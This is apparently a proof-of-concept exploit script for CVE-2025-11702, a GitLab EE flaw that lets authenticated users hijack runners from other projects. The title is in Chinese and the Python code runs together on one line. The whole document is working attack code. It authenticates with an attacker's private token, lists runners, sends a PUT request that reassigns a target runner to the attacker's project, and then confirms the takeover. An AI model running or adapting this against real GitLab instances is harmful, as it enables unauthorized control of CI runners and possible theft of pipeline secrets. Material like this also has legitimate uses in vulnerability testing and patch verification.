CVE-2025-11702: GitLab EE 认证用户劫持其他项目Runner权限提升漏洞

# CVE-2025-11702 PoC - GitLab Runner Hijacking # This PoC demonstrates the authorization bypass in GitLab EE # that allows authenticated users to hijack runners from other projects import requests import json GITLAB_URL = "https://gitlab.example.com" ATTACKER_TOKEN = "your_attacker_private_token" TARGET_RUNNER_ID = 12345 ATTACKER_PROJECT_ID = 67890 def hijack_runner(): """ Attempt to hijack a runner from another project by exploiting the authorization bypass vulnerability """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: List runners accessible to attacker list_runners_url = f"{GITLAB_URL}/api/v4/projects/{ATTACKER_PROJECT_ID}/runners" response = requests.get(list_runners_url, headers=headers) print(f"[+] Available runners: {response.json()}") # Step 2: Attempt to assign target runner to attacker's project # This exploits the authorization bypass vulnerability assign_url = f"{GITLAB_URL}/api/v4/runners/{TARGET_RUNNER_ID}" payload = { "runners[project_id]": ATTACKER_PROJECT_ID } response = requests.put(assign_url, headers=headers, json=payload) if response.status_code == 200: print(f"[!] VULNERABLE: Successfully hijacked runner {TARGET_RUNNER_ID}") print(f"[+] Runner is now associated with project {ATTACKER_PROJECT_ID}") return True else: print(f"[-] Patch applied or exploit failed: {response.status_code}") return False def verify_hijack(): """ Verify that the runner was successfully hijacked by checking its new configuration """ headers = {"PRIVATE-TOKEN": ATTACKER_TOKEN} verify_url = f"{GITLAB_URL}/api/v4/runners/{TARGET_RUNNER_ID}" response = requests.get(verify_url, headers=headers) if response.status_code == 200: runner_info = response.json() print(f"[+] Runner details: {json.dumps(runner_info, indent=2)}") return runner_info.get("project_id") == ATTACKER_PROJECT_ID return False if __name__ == "__main__": print("CVE-2025-11702 GitLab Runner Hijacking PoC") print("=" * 50) if hijack_runner(): if verify_hijack(): print("\n[!] Proof of concept successful - Runner hijacked!") print("[!] Attacker now has control over the target runner")